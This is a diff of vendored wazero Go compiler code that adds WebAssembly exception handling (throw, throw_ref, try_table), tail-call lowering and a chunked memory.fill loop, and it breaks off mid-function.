+//go:build !(arm64 || amd64) package wazevo diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/frontend/frontend.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/frontend/frontend.go index eebdba03..de773025 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/frontend/frontend.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/frontend/frontend.go @@ -4,6 +4,7 @@ package frontend import ( "bytes" "math" + "sync" "github.com/tetratelabs/wazero/internal/engine/wazevo/ssa" "github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi" @@ -62,6 +63,20 @@ type Compiler struct { execCtxPtrValue, moduleCtxPtrValue ssa.Value + // throwAllocSig is the signature for the throw-alloc trampoline: + // (execCtx, tagIndex) → (exnref). Allocates the Exception and returns + // its pointer so compiled code can pass it to the throw trampoline. + throwAllocSig ssa.Signature + // throwSig is the signature for the throw/throw_ref trampoline: + // (execCtx, exnref) → (). Searches for a matching handler and restores. + throwSig ssa.Signature + // tryTableEnterSig is the signature for the try_table enter trampoline. + tryTableEnterSig ssa.Signature + // tryTableLeaveSig is the signature for the try_table leave trampoline. + tryTableLeaveSig ssa.Signature + // catchClauseTable accumulates catch clause info for each try_table during compilation. + catchClauseTable catchClauseTable + // Following are reused for the known safe bounds analysis. pointers []int @@ -95,12 +110,75 @@ func NewFrontendCompiler(m *wasm.Module, ssaBuilder ssa.Builder, offset *wazevoa offset: offset, ensureTermination: ensureTermination, needSourceOffsetInfo: sourceInfo, + catchClauseTable: &localCatchClauseTable{}, varLengthKnownSafeBoundWithIDPool: wazevoapi.NewVarLengthPool[knownSafeBoundWithID](), } c.declareSignatures(listenerOn) return c } +// catchClauseTable accumulates catch clause entries during compilation. +type catchClauseTable interface { + Append(clauses []wazevoapi.CatchClauseInstance) int + Table() [][]wazevoapi.CatchClauseInstance +} + +// localCatchClauseTable is the single-threaded implementation. +type localCatchClauseTable struct { + table [][]wazevoapi.CatchClauseInstance +} + +func (t *localCatchClauseTable) Append(clauses []wazevoapi.CatchClauseInstance) int { + id := len(t.table) + t.table = append(t.table, clauses) + return id +} + +func (t *localCatchClauseTable) Table() [][]wazevoapi.CatchClauseInstance { + return t.table +} + +// SharedCatchClauseTable is the thread-safe implementation for parallel compilation. +type SharedCatchClauseTable struct { + mu sync.Mutex + table [][]wazevoapi.CatchClauseInstance + finalized bool +} + +// NewSharedCatchClauseTable creates a new SharedCatchClauseTable. +func NewSharedCatchClauseTable() *SharedCatchClauseTable { + return &SharedCatchClauseTable{} +} + +func (s *SharedCatchClauseTable) Append(clauses []wazevoapi.CatchClauseInstance) int { + if s.finalized { + panic("already finalized") + } + s.mu.Lock() + id := len(s.table) + s.table = append(s.table, clauses) + s.mu.Unlock() + return id +} + +func (s *SharedCatchClauseTable) Table() [][]wazevoapi.CatchClauseInstance { + s.finalized = true + return s.table +} + +// WithCatchClauseTable replaces the catch clause table implementation. +// Used by the parallel compilation path to share a single mutex-protected +// table across workers. +func (c *Compiler) WithCatchClauseTable(t catchClauseTable) *Compiler { + c.catchClauseTable = t + return c +} + +// CatchClauseTable returns the accumulated catch clause table. +func (c *Compiler) CatchClauseTable() [][]wazevoapi.CatchClauseInstance { + return c.catchClauseTable.Table() +} + func (c *Compiler) declareSignatures(listenerOn bool) { m := c.m c.signatures = make(map[*wasm.FunctionType]*ssa.Signature, len(m.TypeSection)+2) @@ -194,6 +272,34 @@ func (c *Compiler) declareSignatures(listenerOn bool) { Results: []ssa.Type{ssa.TypeI32}, } c.ssaBuilder.DeclareSignature(&c.memoryNotifySig) + + c.throwAllocSig = ssa.Signature{ + ID: c.memoryNotifySig.ID + 1, + Params: []ssa.Type{ssa.TypeI64 /* exec context */, ssa.TypeI64 /* tag index */}, + Results: []ssa.Type{ssa.TypeI64 /* exnref */}, + } + c.ssaBuilder.DeclareSignature(&c.throwAllocSig) + + c.throwSig = ssa.Signature{ + ID: c.throwAllocSig.ID + 1, + Params: []ssa.Type{ssa.TypeI64 /* exec context */, ssa.TypeI64 /* exnref */}, + Results: []ssa.Type{}, + } + c.ssaBuilder.DeclareSignature(&c.throwSig) + + c.tryTableEnterSig = ssa.Signature{ + ID: c.throwSig.ID + 1, + Params: []ssa.Type{ssa.TypeI64 /* exec context */, ssa.TypeI64 /* encoded exit code */}, + Results: []ssa.Type{}, + } + c.ssaBuilder.DeclareSignature(&c.tryTableEnterSig) + + c.tryTableLeaveSig = ssa.Signature{ + ID: c.tryTableEnterSig.ID + 1, + Params: []ssa.Type{ssa.TypeI64 /* exec context */}, + Results: []ssa.Type{}, + } + c.ssaBuilder.DeclareSignature(&c.tryTableLeaveSig) } // SignatureForWasmFunctionType returns the ssa.Signature for the given wasm.FunctionType. @@ -234,7 +340,8 @@ func (c *Compiler) Init(idx, typIndex wasm.Index, typ *wasm.FunctionType, localT // Note: this assumes 64-bit platform (I believe we won't have 32-bit backend ;)). const executionContextPtrTyp, moduleContextPtrTyp = ssa.TypeI64, ssa.TypeI64 -// LowerToSSA lowers the current function to SSA function which will be held by ssaBuilder. +// LowerToSSA lowers the current function to SSA IR which will be held by ssaBuilder. +// // After calling this, the caller will be able to access the SSA info in *Compiler.ssaBuilder. // // Note that this only does the naive lowering, and do not do any optimization, instead the caller is expected to do so. @@ -340,23 +447,7 @@ func (c *Compiler) declareNecessaryVariables() { } func (c *Compiler) declareWasmGlobal(typ wasm.ValueType, mutable bool) { - var st ssa.Type - switch typ { - case wasm.ValueTypeI32: - st = ssa.TypeI32 - case wasm.ValueTypeI64, - // Both externref and funcref are represented as I64 since we only support 64-bit platforms. - wasm.ValueTypeExternref, wasm.ValueTypeFuncref: - st = ssa.TypeI64 - case wasm.ValueTypeF32: - st = ssa.TypeF32 - case wasm.ValueTypeF64: - st = ssa.TypeF64 - case wasm.ValueTypeV128: - st = ssa.TypeV128 - default: - panic("TODO: " + wasm.ValueTypeName(typ)) - } + st := WasmTypeToSSAType(typ) v := c.ssaBuilder.DeclareVariable(st) index := wasm.Index(len(c.globalVariables)) c.globalVariables = append(c.globalVariables, v) @@ -372,8 +463,9 @@ func WasmTypeToSSAType(vt wasm.ValueType) ssa.Type { case wasm.ValueTypeI32: return ssa.TypeI32 case wasm.ValueTypeI64, - // Both externref and funcref are represented as I64 since we only support 64-bit platforms. - wasm.ValueTypeExternref, wasm.ValueTypeFuncref: + // externref, funcref, and exnref are represented as I64 since we only support 64-bit platforms. + wasm.ValueTypeExternref, wasm.ValueTypeFuncref, + wasm.ValueTypeExnref: return ssa.TypeI64 case wasm.ValueTypeF32: return ssa.TypeF32 @@ -382,6 +474,10 @@ func WasmTypeToSSAType(vt wasm.ValueType) ssa.Type { case wasm.ValueTypeV128: return ssa.TypeV128 default: + // Concrete ref types (ref $t) have variable bit patterns. + if vt.IsRef() { + return ssa.TypeI64 + } panic("TODO: " + wasm.ValueTypeName(vt)) } } @@ -469,7 +565,7 @@ func (c *Compiler) allocateVarLengthValues(_cap int, vs ...ssa.Value) ssa.Values builder := c.ssaBuilder pool := builder.VarLengthPool() args := pool.Allocate(_cap) - args = args.Append(builder.VarLengthPool(), vs...) + args = args.Append(pool, vs...) return args } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/frontend/lower.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/frontend/lower.go index e73debbd..402ddcba 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/frontend/lower.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/frontend/lower.go @@ -65,6 +65,7 @@ const ( controlFrameKindIfWithElse controlFrameKindIfWithoutElse controlFrameKindBlock + controlFrameKindTryTable ) // String implements fmt.Stringer for debugging. @@ -80,6 +81,8 @@ func (k controlFrameKind) String() string { return "if_without_else" case controlFrameKindBlock: return "block" + case controlFrameKindTryTable: + return "try_table" default: panic(k) } @@ -123,8 +126,7 @@ func (c *Compiler) nPeekDup(n int) ssa.Values { l := c.state() tail := len(l.values) - args := c.allocateVarLengthValues(n) - args = args.Append(c.ssaBuilder.VarLengthPool(), l.values[tail-n:tail]...) + args := c.allocateVarLengthValues(n, l.values[tail-n:tail]...) return args } @@ -665,19 +667,22 @@ func (c *Compiler) lowerCurrentOpcode() { tableBaseAddr := c.loadTableBaseAddr(tableInstancePtr) addr := builder.AllocateInstruction().AsIadd(tableBaseAddr, offsetInBytes).Insert(builder).Return() - // Prepare the loop and following block. - beforeLoop := builder.AllocateBasicBlock() - loopBlk := builder.AllocateBasicBlock() - loopVar := loopBlk.AddParam(builder, ssa.TypeI64) - followingBlk := builder.AllocateBasicBlock() - // Uses the copy trick for faster filling buffer like memory.fill, but in this case we copy 8 bytes at a time. + // Tables are rarely huge, so ignore the 8KB maximum. + // https://github.com/golang/go/blob/go1.24.0/src/slices/slices.go#L514-L517 + // // buf := memoryInst.Buffer[offset : offset+fillSize] // buf[0:8] = value // for i := 8; i < fillSize; i *= 2 { Begin with 8 bytes. // copy(buf[i:], buf[:i]) // } + // Prepare the loop and following block. + beforeLoop := builder.AllocateBasicBlock() + loopBlk := builder.AllocateBasicBlock() + loopVar := loopBlk.AddParam(builder, ssa.TypeI64) + followingBlk := builder.AllocateBasicBlock() + // Insert the jump to the beforeLoop block; If the fillSize is zero, then jump to the following block to skip entire logics. zero := builder.AllocateInstruction().AsIconst64(0).Insert(builder).Return() ifFillSizeZero := builder.AllocateInstruction().AsIcmp(fillSizeExt, zero, ssa.IntegerCmpCondEqual). @@ -688,32 +693,24 @@ func (c *Compiler) lowerCurrentOpcode() { // buf[0:8] = value builder.SetCurrentBlock(beforeLoop) builder.AllocateInstruction().AsStore(ssa.OpcodeStore, value, addr, 0).Insert(builder) - initValue := builder.AllocateInstruction().AsIconst64(8).Insert(builder).Return() - c.insertJumpToBlock(c.allocateVarLengthValues(1, initValue), loopBlk) + eight := builder.AllocateInstruction().AsIconst64(8).Insert(builder).Return() + c.insertJumpToBlock(c.allocateVarLengthValues(1, eight), loopBlk) builder.SetCurrentBlock(loopBlk) dstAddr := builder.AllocateInstruction().AsIadd(addr, loopVar).Insert(builder).Return() - // If loopVar*2 > fillSizeInBytes, then count must be fillSizeInBytes-loopVar. - var count ssa.Value - { - loopVarDoubled := builder.AllocateInstruction().AsIadd(loopVar, loopVar).Insert(builder).Return() - loopVarDoubledLargerThanFillSize := builder. - AllocateInstruction().AsIcmp(loopVarDoubled, fillSizeInBytes, ssa.IntegerCmpCondUnsignedGreaterThanOrEqual). - Insert(builder).Return() - diff := builder.AllocateInstruction().AsIsub(fillSizeInBytes, loopVar).Insert(builder).Return() - count = builder.AllocateInstruction().AsSelect(loopVarDoubledLargerThanFillSize, diff, loopVar).Insert(builder).Return() - } + newLoopVar := builder.AllocateInstruction().AsIadd(loopVar, loopVar).Insert(builder).Return() + newLoopVarLessThanFillSize := builder.AllocateInstruction(). + AsIcmp(newLoopVar, fillSizeInBytes, ssa.IntegerCmpCondUnsignedLessThan).Insert(builder).Return() - c.callMemmove(dstAddr, addr, count) + // On the last iteration, count must be fillSizeInBytes-loopVar. + diff := builder.AllocateInstruction().AsIsub(fillSizeInBytes, loopVar).Insert(builder).Return() + count := builder.AllocateInstruction().AsSelect(newLoopVarLessThanFillSize, loopVar, diff).Insert(builder).Return() - shiftAmount := builder.AllocateInstruction().AsIconst64(1).Insert(builder).Return() - newLoopVar := builder.AllocateInstruction().AsIshl(loopVar, shiftAmount).Insert(builder).Return() - loopVarLessThanFillSize := builder.AllocateInstruction(). - AsIcmp(newLoopVar, fillSizeInBytes, ssa.IntegerCmpCondUnsignedLessThan).Insert(builder).Return() + c.callMemmove(dstAddr, addr, count) builder.AllocateInstruction(). - AsBrnz(loopVarLessThanFillSize, c.allocateVarLengthValues(1, newLoopVar), loopBlk). + AsBrnz(newLoopVarLessThanFillSize, c.allocateVarLengthValues(1, newLoopVar), loopBlk). Insert(builder) c.insertJumpToBlock(ssa.ValuesNil, followingBlk) @@ -741,11 +738,15 @@ func (c *Compiler) lowerCurrentOpcode() { // Calculate the base address: addr := builder.AllocateInstruction().AsIadd(c.getMemoryBaseValue(false), offset).Insert(builder).Return() - // Uses the copy trick for faster filling buffer: https://gist.github.com/taylorza/df2f89d5f9ab3ffd06865062a4cf015d + // Uses the copy trick for faster filling buffer, with a maximum chunk size of 8KB. + // https://github.com/golang/go/blob/go1.24.0/src/bytes/bytes.go#L664-L673 + // // buf := memoryInst.Buffer[offset : offset+fillSize] // buf[0] = value - // for i := 1; i < fillSize; i *= 2 { - // copy(buf[i:], buf[:i]) + // for i := 1; i < fillSize; { + // chunk := ((i - 1) & 8191) + 1 + // copy(buf[i:], buf[:chunk]) + // i += chunk // } // Prepare the loop and following block. @@ -764,32 +765,31 @@ func (c *Compiler) lowerCurrentOpcode() { // buf[0] = value builder.SetCurrentBlock(beforeLoop) builder.AllocateInstruction().AsStore(ssa.OpcodeIstore8, value, addr, 0).Insert(builder) - initValue := builder.AllocateInstruction().AsIconst64(1).Insert(builder).Return() - c.insertJumpToBlock(c.allocateVarLengthValues(1, initValue), loopBlk) + one := builder.AllocateInstruction().AsIconst64(1).Insert(builder).Return() + c.insertJumpToBlock(c.allocateVarLengthValues(1, one), loopBlk) builder.SetCurrentBlock(loopBlk) dstAddr := builder.AllocateInstruction().AsIadd(addr, loopVar).Insert(builder).Return() - // If loopVar*2 > fillSizeExt, then count must be fillSizeExt-loopVar. - var count ssa.Value - { - loopVarDoubled := builder.AllocateInstruction().AsIadd(loopVar, loopVar).Insert(builder).Return() - loopVarDoubledLargerThanFillSize := builder. - AllocateInstruction().AsIcmp(loopVarDoubled, fillSize, ssa.IntegerCmpCondUnsignedGreaterThanOrEqual). - Insert(builder).Return() - diff := builder.AllocateInstruction().AsIsub(fillSize, loopVar).Insert(builder).Return() - count = builder.AllocateInstruction().AsSelect(loopVarDoubledLargerThanFillSize, diff, loopVar).Insert(builder).Return() - } - - c.callMemmove(dstAddr, addr, count) + // chunk := ((i - 1) & 8191) + 1 + mask := builder.AllocateInstruction().AsIconst64(8191).Insert(builder).Return() + tmp1 := builder.AllocateInstruction().AsIsub(loopVar, one).Insert(builder).Return() + tmp2 := builder.AllocateInstruction().AsBand(tmp1, mask).Insert(builder).Return() + chunk := builder.AllocateInstruction().AsIadd(tmp2, one).Insert(builder).Return() - shiftAmount := builder.AllocateInstruction().AsIconst64(1).Insert(builder).Return() - newLoopVar := builder.AllocateInstruction().AsIshl(loopVar, shiftAmount).Insert(builder).Return() - loopVarLessThanFillSize := builder.AllocateInstruction(). + // i += chunk + newLoopVar := builder.AllocateInstruction().AsIadd(loopVar, chunk).Insert(builder).Return() + newLoopVarLessThanFillSize := builder.AllocateInstruction(). AsIcmp(newLoopVar, fillSize, ssa.IntegerCmpCondUnsignedLessThan).Insert(builder).Return() + // count = min(chunk, fillSize-loopVar) + diff := builder.AllocateInstruction().AsIsub(fillSize, loopVar).Insert(builder).Return() + count := builder.AllocateInstruction().AsSelect(newLoopVarLessThanFillSize, chunk, diff).Insert(builder).Return() + + c.callMemmove(dstAddr, addr, count) + builder.AllocateInstruction(). - AsBrnz(loopVarLessThanFillSize, c.allocateVarLengthValues(1, newLoopVar), loopBlk). + AsBrnz(newLoopVarLessThanFillSize, c.allocateVarLengthValues(1, newLoopVar), loopBlk). Insert(builder) c.insertJumpToBlock(ssa.ValuesNil, followingBlk) @@ -1173,7 +1173,7 @@ func (c *Compiler) lowerCurrentOpcode() { ssa.TypeI64, ).Insert(builder).Return() - args := c.allocateVarLengthValues(1, c.execCtxPtrValue, pages) + args := c.allocateVarLengthValues(2, c.execCtxPtrValue, pages) callGrowRet := builder. AllocateInstruction(). AsCallIndirect(memoryGrowPtr, &c.memoryGrowSig, args). @@ -1343,8 +1343,7 @@ func (c *Compiler) lowerCurrentOpcode() { blockType: bt, }) - args := c.allocateVarLengthValues(originalLen) - args = args.Append(builder.VarLengthPool(), state.values[originalLen:]...) + args := c.allocateVarLengthValues(len(bt.Params), state.values[originalLen:]...) // Insert the jump to the header of loop. br := builder.AllocateInstruction() @@ -1383,8 +1382,7 @@ func (c *Compiler) lowerCurrentOpcode() { // multiple definitions (one in Then and another in Else blocks). c.addBlockParamsFromWasmTypes(bt.Results, followingBlk) - args := c.allocateVarLengthValues(len(bt.Params)) - args = args.Append(builder.VarLengthPool(), state.values[len(state.values)-len(bt.Params):]...) + args := c.allocateVarLengthValues(len(bt.Params), state.values[len(state.values)-len(bt.Params):]...) // Insert the conditional jump to the Else block. brz := builder.AllocateInstruction() @@ -1448,6 +1446,11 @@ func (c *Compiler) lowerCurrentOpcode() { unreachable := state.unreachable if !unreachable { + // For try_table, emit the leave trampoline before the jump to the following block. + if ctrl.kind == controlFrameKindTryTable { + c.emitTryTableLeave() + } + // Top n-th args will be used as a result of the current control frame. args := c.nPeekDup(len(ctrl.blockType.Results)) @@ -1482,6 +1485,7 @@ func (c *Compiler) lowerCurrentOpcode() { break } + c.emitTryTableLeaves(int(labelIndex)) targetBlk, argNum := state.brTargetArgNumFor(labelIndex) args := c.nPeekDup(argNum) c.insertJumpToBlock(args, targetBlk) @@ -1499,6 +1503,21 @@ func (c *Compiler) lowerCurrentOpcode() { targetBlk, argNum := state.brTargetArgNumFor(labelIndex) args := c.nPeekDup(argNum) var sealTargetBlk bool + + // If the branch exits any try_table frames, emit TryTableLeave + // calls in a trampoline block that only runs on the taken path. + if c.branchExitsTryTable(int(labelIndex)) { + current := builder.CurrentBlock() + trampolineBlk := builder.AllocateBasicBlock() + builder.SetCurrentBlock(trampolineBlk) + c.emitTryTableLeaves(int(labelIndex)) + c.insertJumpToBlock(args, targetBlk) + builder.SetCurrentBlock(current) + targetBlk = trampolineBlk + sealTargetBlk = true + args = ssa.ValuesNil + } + if c.needListener && targetBlk.ReturnBlock() { // In this case, we have to call the listener before returning. // Save the currently active block. current := builder.CurrentBlock() @@ -1564,15 +1583,12 @@ func (c *Compiler) lowerCurrentOpcode() { if state.unreachable { break } + c.emitTryTableLeaves(len(state.controlFrames)) if c.needListener { c.callListenerAfter() } - results := c.nPeekDup(c.results()) - instr := builder.AllocateInstruction() - - instr.AsReturn(results) - builder.InsertInstruction(instr) + c.lowerReturn(builder) state.unreachable = true case wasm.OpcodeUnreachable: @@ -1597,66 +1613,7 @@ func (c *Compiler) lowerCurrentOpcode() { if state.unreachable { break } - - var typIndex wasm.Index - if fnIndex < c.m.ImportFunctionCount { - // Before transfer the control to the callee, we have to store the current module's moduleContextPtr - // into execContext.callerModuleContextPtr in case when the callee is a Go function. - c.storeCallerModuleContext() - var fi int - for i := range c.m.ImportSection { - imp := &c.m.ImportSection[i] - if imp.Type == wasm.ExternTypeFunc { - if fi == int(fnIndex) { - typIndex = imp.DescFunc - break - } - fi++ - } - } - } else { - typIndex = c.m.FunctionSection[fnIndex-c.m.ImportFunctionCount] - } - typ := &c.m.TypeSection[typIndex] - - argN := len(typ.Params) - tail := len(state.values) - argN - vs := state.values[tail:] - state.values = state.values[:tail] - args := c.allocateVarLengthValues(2+len(vs), c.execCtxPtrValue) - - sig := c.signatures[typ] - call := builder.AllocateInstruction() - if fnIndex >= c.m.ImportFunctionCount { - args = args.Append(builder.VarLengthPool(), c.moduleCtxPtrValue) // This case the callee module is itself. - args = args.Append(builder.VarLengthPool(), vs...) - call.AsCall(FunctionIndexToFuncRef(fnIndex), sig, args) - builder.InsertInstruction(call) - } else { - // This case we have to read the address of the imported function from the module context. - moduleCtx := c.moduleCtxPtrValue - loadFuncPtr, loadModuleCtxPtr := builder.AllocateInstruction(), builder.AllocateInstruction() - funcPtrOffset, moduleCtxPtrOffset, _ := c.offset.ImportedFunctionOffset(fnIndex) - loadFuncPtr.AsLoad(moduleCtx, funcPtrOffset.U32(), ssa.TypeI64) - loadModuleCtxPtr.AsLoad(moduleCtx, moduleCtxPtrOffset.U32(), ssa.TypeI64) - builder.InsertInstruction(loadFuncPtr) - builder.InsertInstruction(loadModuleCtxPtr) - - args = args.Append(builder.VarLengthPool(), loadModuleCtxPtr.Return()) - args = args.Append(builder.VarLengthPool(), vs...) - call.AsCallIndirect(loadFuncPtr.Return(), sig, args) - builder.InsertInstruction(call) - } - - first, rest := call.Returns() - if first.Valid() { - state.push(first) - } - for _, v := range rest { - state.push(v) - } - - c.reloadAfterCall() + c.lowerCall(fnIndex) case wasm.OpcodeDrop: if state.unreachable { @@ -3190,7 +3147,7 @@ func (c *Compiler) lowerCurrentOpcode() { ssa.TypeI64, ).Insert(builder).Return() - args := c.allocateVarLengthValues(3, c.execCtxPtrValue, timeout, exp, addr) + args := c.allocateVarLengthValues(4, c.execCtxPtrValue, timeout, exp, addr) memoryWaitRet := builder.AllocateInstruction(). AsCallIndirect(memoryWaitPtr, sig, args). Insert(builder).Return() @@ -3211,7 +3168,7 @@ func (c *Compiler) lowerCurrentOpcode() { wazevoapi.ExecutionContextOffsetMemoryNotifyTrampolineAddress.U32(), ssa.TypeI64, ).Insert(builder).Return() - args := c.allocateVarLengthValues(2, c.execCtxPtrValue, count, addr) + args := c.allocateVarLengthValues(3, c.execCtxPtrValue, count, addr) memoryNotifyRet := builder.AllocateInstruction(). AsCallIndirect(memoryNotifyPtr, &c.memoryNotifySig, args). Insert(builder).Return() @@ -3423,7 +3380,12 @@ func (c *Compiler) lowerCurrentOpcode() { state.push(refFuncRet) case wasm.OpcodeRefNull: - c.loweringState.pc++ // skips the reference type as we treat both of them as i64(0). + switch reftype := c.wasmFunctionBody[c.loweringState.pc+1]; wasm.ValueType(reftype) { + case wasm.ValueTypeFuncref, wasm.ValueTypeExternref, wasm.ValueTypeExnref: + c.loweringState.pc++ + default: + c.readI32u() + } if state.unreachable { break } @@ -3460,6 +3422,415 @@ func (c *Compiler) lowerCurrentOpcode() { elementAddr := c.lowerAccessTableWithBoundsCheck(tableIndex, targetOffsetInTable) loaded := builder.AllocateInstruction().AsLoad(elementAddr, 0, ssa.TypeI64).Insert(builder).Return() state.push(loaded) + + case wasm.OpcodeTailCallReturnCallIndirect: + typeIndex := c.readI32u() + tableIndex := c.readI32u() + if state.unreachable { + break + } + // Per spec, return_call leaves the current frame, so all enclosing + // try_table handlers must be popped before the tail call. + c.emitTryTableLeaves(len(c.state().controlFrames)) + _, _ = typeIndex, tableIndex + c.lowerTailCallReturnCallIndirect(typeIndex, tableIndex) + state.unreachable = true + + case wasm.OpcodeTailCallReturnCall: + fnIndex := c.readI32u() + if state.unreachable { + break + } + // Per spec, return_call leaves the current frame, so all enclosing + // try_table handlers must be popped before the tail call. + c.emitTryTableLeaves(len(c.state().controlFrames)) + c.lowerTailCallReturnCall(fnIndex) + state.unreachable = true + + case wasm.OpcodeThrow: + tagIndex := c.readI32u() + if state.unreachable { + break + } + tagType := c.resolveTagType(tagIndex) + // Pop the tag's param values from the stack. + var throwParams []ssa.Value + if tagType != nil { + throwParams = make([]ssa.Value, len(tagType.Params)) + for i := len(tagType.Params) - 1; i >= 0; i-- { + throwParams[i] = state.pop() + } + } + + c.storeCallerModuleContext() + + tagIdxVal := builder.AllocateInstruction().AsIconst64(uint64(tagIndex)).Insert(builder).Return() + + // We need to store the throwParams in the exception and then throw it. + // However, each exception might have a variable number of parameters, + // so we let Go allocate the reference on the heap. + // The Go side allocates the Exception object (Params sized to nParams) + // and stores the pointer to the backing-array into execCtx.exceptionParamsPtr. + throwAllocPtr := builder.AllocateInstruction(). + AsLoad(c.execCtxPtrValue, + wazevoapi.ExecutionContextOffsetThrowAllocTrampolineAddress.U32(), + ssa.TypeI64, + ).Insert(builder).Return() + throwAllocArgs := c.allocateVarLengthValues(2, c.execCtxPtrValue, tagIdxVal) + exnref := builder.AllocateInstruction(). + AsCallIndirect(throwAllocPtr, &c.throwAllocSig, throwAllocArgs). + Insert(builder).Return() + + // Reload memory pointers invalidated by the Go call. + c.reloadAfterCall() + + // We can now store each param directly into Exception.Params using the pointer + // stored into execCtx.exceptionParamsPtr. + if len(throwParams) > 0 { + paramsPtr := builder.AllocateInstruction(). + AsLoad(c.execCtxPtrValue, + wazevoapi.ExecutionContextOffsetExceptionParamsPtr.U32(), + ssa.TypeI64, + ).Insert(builder).Return() + for i, v := range throwParams { + switch v.Type() { + case ssa.TypeF32: + v = builder.AllocateInstruction().AsBitcast(v, ssa.TypeI32).Insert(builder).Return() + case ssa.TypeF64: + v = builder.AllocateInstruction().AsBitcast(v, ssa.TypeI64).Insert(builder).Return() + } + builder.AllocateInstruction(). + AsStore(ssa.OpcodeStore, v, paramsPtr, uint32(i)*8). + Insert(builder) + } + } + + // We return again control to Go to search and dispatch to a matching catch clause. + c.emitThrow(exnref) + state.unreachable = true + + case wasm.OpcodeThrowRef: + if state.unreachable { + break + } + exnref := state.pop() + // Check for null exnref. + zero := builder.AllocateInstruction().AsIconst64(0).Insert(builder).Return() + isNull := builder.AllocateInstruction() + isNull.AsIcmp(exnref, zero, ssa.IntegerCmpCondEqual) + builder.InsertInstruction(isNull) + exitIfNull := builder.AllocateInstruction() + exitIfNull.AsExitIfTrueWithCode(c.execCtxPtrValue, isNull.Return(), wazevoapi.ExitCodeNullReference) + builder.InsertInstruction(exitIfNull) + + c.storeCallerModuleContext() + + c.emitThrow(exnref) + state.unreachable = true + + case wasm.OpcodeTryTable: + bt := c.readBlockType() + + if state.unreachable { + state.unreachableDepth++ + // Still need to skip the catch clause bytes in the unreachable case. + c.skipTryTableCatchClauses() + break + } + + // Parse catch clauses. + c.loweringState.pc++ + catchCount, catchNum, _ := leb128.LoadUint32(c.wasmFunctionBody[c.loweringState.pc:]) + c.loweringState.pc += int(catchNum) - 1 + + var catchClauses []catchClause + for i := uint32(0); i < catchCount; i++ { + c.loweringState.pc++ + kind := c.wasmFunctionBody[c.loweringState.pc] + var tagIdx uint32 + switch kind { + case wasm.CatchKindCatch, wasm.CatchKindCatchRef: + c.loweringState.pc++ + var n uint64 + tagIdx, n, _ = leb128.LoadUint32(c.wasmFunctionBody[c.loweringState.pc:]) + c.loweringState.pc += int(n) - 1 + case wasm.CatchKindCatchAll, wasm.CatchKindCatchAllRef: + // No tagIdx for catch_all variants. + } + c.loweringState.pc++ + labelIdx, n, _ := leb128.LoadUint32(c.wasmFunctionBody[c.loweringState.pc:]) + c.loweringState.pc += int(n) - 1 + catchClauses = append(catchClauses, catchClause{kind: kind, tagIndex: tagIdx, labelIdx: labelIdx}) + } + + // Register catch clauses in the table and get the try_table ID. + var clauseInstances []wazevoapi.CatchClauseInstance + for _, cc := range catchClauses { + clauseInstances = append(clauseInstances, wazevoapi.CatchClauseInstance{ + Kind: cc.kind, + TagIndex: cc.tagIndex, + }) + } + tryTableID := c.catchClauseTable.Append(clauseInstances) + + // Allocate the following block (after try_table end) and body block. + followingBlk := builder.AllocateBasicBlock() + c.addBlockParamsFromWasmTypes(bt.Results, followingBlk) + bodyBlk := builder.AllocateBasicBlock() + + if len(catchClauses) > 0 { + // Store the caller module context so the dispatch loop can find the module. + c.storeCallerModuleContext() + + // For each catch clause, create a handler block that loads exception + // params and jumps to the wasm target label. + // NOTE: catch clause label indices do NOT include the try_table itself + // (the try_table is pushed onto the control stack after the catch clauses + // are processed, per the spec). So we resolve labels BEFORE pushing. + varPool := builder.VarLengthPool() + targets := varPool.Allocate(len(catchClauses) + 1) // +1 for bodyBlk + + currentBlk := builder.CurrentBlock() + for _, cc := range catchClauses { + handlerBlk := builder.AllocateBasicBlock() + builder.SetCurrentBlock(handlerBlk) + c.reloadAfterCall() + + // Resolve the wasm target label. + targetBlk, _ := state.brTargetArgNumFor(cc.labelIdx) + + // Load exception params and jump to wasm target. + var brArgs []ssa.Value + switch cc.kind { + case wasm.CatchKindCatch: + if tagType := c.resolveTagType(cc.tagIndex); tagType != nil { + brArgs = c.loadExceptionParams(tagType) + } + case wasm.CatchKindCatchRef: + if tagType := c.resolveTagType(cc.tagIndex); tagType != nil { + brArgs = c.loadExceptionParams(tagType) + } + brArgs = append(brArgs, c.loadExnRef()) + case wasm.CatchKindCatchAll: + // No values. + case wasm.CatchKindCatchAllRef: + brArgs = append(brArgs, c.loadExnRef()) + } + + jmpArgs := c.allocateVarLengthValues(len(brArgs), brArgs...) + c.insertJumpToBlock(jmpArgs, targetBlk) + + targets = targets.Append(varPool, ssa.Value(handlerBlk.ID())) + } + // Last target is the body block (default for clauseIdx == -1 / out of range). + targets = targets.Append(varPool, ssa.Value(bodyBlk.ID())) + + // Back to the original block: call the try_table enter trampoline, + // then dispatch on the caught clause index. + builder.SetCurrentBlock(currentBlk) + encodedExitCode := uint64(wazevoapi.ExitCodeTryTableEnter | wazevoapi.ExitCode(tryTableID<<8)) + + // Load trampoline address from execCtx. + enterPtr := builder.AllocateInstruction(). + AsLoad(c.execCtxPtrValue, + wazevoapi.ExecutionContextOffsetTryTableEnterTrampolineAddress.U32(), + ssa.TypeI64, + ).Insert(builder).Return() + + // Call the trampoline: (execCtx, encodedExitCode) -> (). + exitCodeVal := builder.AllocateInstruction().AsIconst64(encodedExitCode).Insert(builder).Return() + args := c.allocateVarLengthValues(2, c.execCtxPtrValue, exitCodeVal) + builder.AllocateInstruction(). + AsCallIndirect(enterPtr, &c.tryTableEnterSig, args). + Insert(builder) + + // Load the caught clause index written by the dispatch loop. + clauseIdx := builder.AllocateInstruction(). + AsLoad(c.execCtxPtrValue, + wazevoapi.ExecutionContextOffsetCaughtExceptionClauseIdx.U32(), + ssa.TypeI64, + ).Insert(builder).Return() + + // Dispatch to handler blocks or body block via br_table. + brTable := builder.AllocateInstruction() + brTable.AsBrTable(clauseIdx, targets) + builder.InsertInstruction(brTable) + + // Seal handler blocks after BrTable is inserted (so predecessors are registered). + for _, targetID := range targets.View() { + blk := builder.BasicBlock(ssa.BasicBlockID(targetID)) 